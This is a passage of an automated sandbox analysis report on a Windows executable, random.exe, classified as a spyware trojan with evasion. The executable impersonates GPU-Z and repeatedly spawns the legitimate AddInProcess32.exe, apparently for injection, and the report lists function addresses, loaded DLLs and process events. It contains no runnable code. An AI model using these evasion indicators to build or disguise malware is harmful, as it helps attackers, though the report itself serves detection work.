Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C117B88	3_2_0C117B88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C1171A8	3_2_0C1171A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C115A3B	3_2_0C115A3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C117A4D	3_2_0C117A4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C115A90	3_2_0C115A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C11349D	3_2_0C11349D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C11E8D8	3_2_0C11E8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C1186D8	3_2_0C1186D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C1186E8	3_2_0C1186E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C118900	3_2_0C118900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C117135	3_2_0C117135
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C113538	3_2_0C113538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C11674A	3_2_0C11674A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C115F96	3_2_0C115F96
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C11ABB8	3_2_0C11ABB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C11EBA0	3_2_0C11EBA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C11B9C0	3_2_0C11B9C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C1169C5	3_2_0C1169C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C1179F1	3_2_0C1179F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3AEFE8	3_2_0C3AEFE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A9827	3_2_0C3A9827
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A001E	3_2_0C3A001E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A9850	3_2_0C3A9850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A0040	3_2_0C3A0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A2490	3_2_0C3A2490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A248C	3_2_0C3A248C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A1940	3_2_0C3A1940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A29F2	3_2_0C3A29F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A3E34	3_2_0C3A3E34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3AF628	3_2_0C3AF628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A3E21	3_2_0C3A3E21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A3E40	3_2_0C3A3E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3AB2B8	3_2_0C3AB2B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A82B1	3_2_0C3A82B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3AA2E8	3_2_0C3AA2E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A82C0	3_2_0C3A82C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A53F0	3_2_0C3A53F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A2BE8	3_2_0C3A2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A53E0	3_2_0C3A53E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C3A2BCA	3_2_0C3A2BCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C47D670	3_2_0C47D670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C478001	3_2_0C478001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C47D4BF	3_2_0C47D4BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C47D521	3_2_0C47D521
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AA178	3_2_0C4AA178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AE908	3_2_0C4AE908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AD87A	3_2_0C4AD87A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4A9000	3_2_0C4A9000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AB82B	3_2_0C4AB82B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AD820	3_2_0C4AD820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AD888	3_2_0C4AD888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AA099	3_2_0C4AA099
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AB894	3_2_0C4AB894
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4ABEA4	3_2_0C4ABEA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AE102	3_2_0C4AE102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AED8E	3_2_0C4AED8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4ACB99	3_2_0C4ACB99
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AE196	3_2_0C4AE196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AE3AB	3_2_0C4AE3AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4ACBA8	3_2_0C4ACBA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C4AEDAD	3_2_0C4AEDAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C5A0040	3_2_0C5A0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C5A0006	3_2_0C5A0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C5BE3F8	3_2_0C5BE3F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C5B8630	3_2_0C5B8630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0C5B8623	3_2_0C5B8623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00421060	6_2_00421060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00438860	6_2_00438860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00426000	6_2_00426000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00419362	6_2_00419362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043FB80	6_2_0043FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043BCE0	6_2_0043BCE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004384F0	6_2_004384F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00440480	6_2_00440480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00418DF1	6_2_00418DF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004095A0	6_2_004095A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00408640	6_2_00408640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040D6F8	6_2_0040D6F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042BE8A	6_2_0042BE8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00429040	6_2_00429040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00438040	6_2_00438040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042A050	6_2_0042A050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00425850	6_2_00425850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00432800	6_2_00432800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00419820	6_2_00419820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043F0CB	6_2_0043F0CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004038D0	6_2_004038D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004058E0	6_2_004058E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004308E0	6_2_004308E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004088F0	6_2_004088F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040D0FF	6_2_0040D0FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00415882	6_2_00415882
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040A8A0	6_2_0040A8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004390A0	6_2_004390A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00409140	6_2_00409140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0041D940	6_2_0041D940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00416148	6_2_00416148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00406160	6_2_00406160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00433960	6_2_00433960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042F166	6_2_0042F166
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00415966	6_2_00415966
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00424974	6_2_00424974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00440130	6_2_00440130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004229CD	6_2_004229CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004111E9	6_2_004111E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043C1B0	6_2_0043C1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043F1B0	6_2_0043F1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00427A5A	6_2_00427A5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0041D260	6_2_0041D260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00423A60	6_2_00423A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042C26C	6_2_0042C26C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042CA35	6_2_0042CA35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042CAF1	6_2_0042CAF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043F2F6	6_2_0043F2F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00404280	6_2_00404280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042C282	6_2_0042C282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043EA80	6_2_0043EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00426340	6_2_00426340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042CB4C	6_2_0042CB4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00426360	6_2_00426360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0041AB00	6_2_0041AB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00437300	6_2_00437300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00427B08	6_2_00427B08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00432B10	6_2_00432B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043F330	6_2_0043F330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00404BC0	6_2_00404BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004073C0	6_2_004073C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043F3C0	6_2_0043F3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0041C3CC	6_2_0041C3CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004393D0	6_2_004393D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00423BE0	6_2_00423BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040EB80	6_2_0040EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042238D	6_2_0042238D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043F450	6_2_0043F450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00439C70	6_2_00439C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0042847D	6_2_0042847D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00421C80	6_2_00421C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0041DC90	6_2_0041DC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004274A5	6_2_004274A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00427CB0	6_2_00427CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00436554	6_2_00436554
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00432D70	6_2_00432D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040ED75	6_2_0040ED75
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043150E	6_2_0043150E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0043C510	6_2_0043C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0041D530	6_2_0041D530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00414DC0	6_2_00414DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00437DE0	6_2_00437DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004065F0	6_2_004065F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00407EE0 appears 45 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00414110 appears 82 times

Source: random.exe, 00000000.00000002.2826998931.0000000002690000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRP8PV.dll, vs random.exe
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAimtars.dll0 vs random.exe
Source: random.exe, 00000000.00000002.2825956472.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs random.exe
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAimtars.dll0 vs random.exe
Source: random.exe, 00000000.00000000.2018180077.00000000003A4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGPU-Z.exen' vs random.exe
Source: random.exe	Binary or memory string: OriginalFilenameGPU-Z.exen' vs random.exe

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00438860 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

6_2_00438860

Source: C:\Users\user\Desktop\random.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\random.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutant created: NULL

Source: random.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: random.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\random.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: random.exe

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Users\user\Desktop\random.exe "C:\Users\user\Desktop\random.exe"
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
